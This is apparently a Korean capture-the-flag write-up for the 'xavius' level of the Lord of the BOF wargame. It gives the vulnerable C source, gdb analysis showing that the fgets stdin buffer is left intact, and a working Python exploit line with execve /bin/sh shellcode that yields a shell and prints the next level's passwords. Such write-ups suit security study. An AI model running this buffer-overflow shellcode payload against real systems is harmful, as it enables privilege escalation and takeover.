/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')//스택주소 사용불가
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);//리턴어드레스 ret address에 복사
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point가 \x90\x90이어야한다.
{
if(*ret_addr == '\xc9'){ // leave 사용금지
if(*(ret_addr+1) == '\xc3'){ // ret 사용금지
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);// 버퍼시작부터 44까지 0으로 초기화
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));//리턴 어드레스 이후의 스택영역 0으로 초기화
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);//공유 라이브러리영역 사용 불가
}
표준 입력을 받을때는 read함수를 이용해 엔터를 칠때까지 임시입력버퍼에 저장을 해놓고 그 다음 buffer에 저장을 한다.
그리고 fgets함수가 끝나도 사용되었던 입력버퍼를 초기화 해주지 않는다. 또한 나머지 주소를 체크할 때는 앞 두자리를 체크하여 exit(0) 하는데 ret어드레스만 메모리주소 뒤에 4자리를 체크하는게 의심이 됐다.
fgets함수 내부의 stdin을 임시적으로 저장하는 부분을 찾아본다.
fgets -> read_line( 'AAAA' )-> stdin -> string buffer
[nightmare@localhost nightmare]$ gdb ./xaviu1
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>: push %ebp
0x8048715 <main+1>: mov %esp,%ebp
0x8048717 <main+3>: sub $0x2c,%esp
0x804871a <main+6>: mov 0x8049a3c,%eax
0x804871f <main+11>: push %eax
0x8048720 <main+12>: push $0x100
0x8048725 <main+17>: lea 0xffffffd8(%ebp),%eax
0x8048728 <main+20>: push %eax
0x8048729 <main+21>: call 0x8048408 <fgets>
0x804872e <main+26>: add $0xc,%esp
0x8048731 <main+29>: lea 0xffffffd8(%ebp),%eax
중략...
0x8048820 <main+268>: push %edx
0x8048821 <main+269>: call 0x8048468 <memset>
0x8048826 <main+274>: add $0xc,%esp
0x8048829 <main+277>: leave
0x804882a <main+278>: ret
0x804882b <main+279>: nop
0x804882c <main+280>: nop
0x804882d <main+281>: nop
0x804882e <main+282>: nop
0x804882f <main+283>: nop
End of assembler dump.
(gdb) b*main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/./xaviu1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) x/100x 0x40015000
0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015020: 0x41414141 0x41414141 0x41414141 0x0000000a
0x40015030: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015040: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015050: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) b*main+277
Breakpoint 2 at 0x8048829
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nightmare/./xaviu1
AAAAAAAAAAAAAAA
Breakpoint 1, 0x804872e in main ()
(gdb) C
Continuing.
AAAAAAAAAAAAAAA
Breakpoint 2, 0x8048829 in main ()
(gdb) x/30x 0x40015000
0x40015000: 0x41414141 0x41414141 0x41414141 0x0a414141
0x40015010: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015020: 0x00000000 0x00000000 0x00000000 0x00000000
[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat) |./xaviu1
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ
̀
whoami
nightmare
my-pass
euid = 518
beg for me
[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat) |./xavius
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ
̀
my-pass
euid = 519
throw me away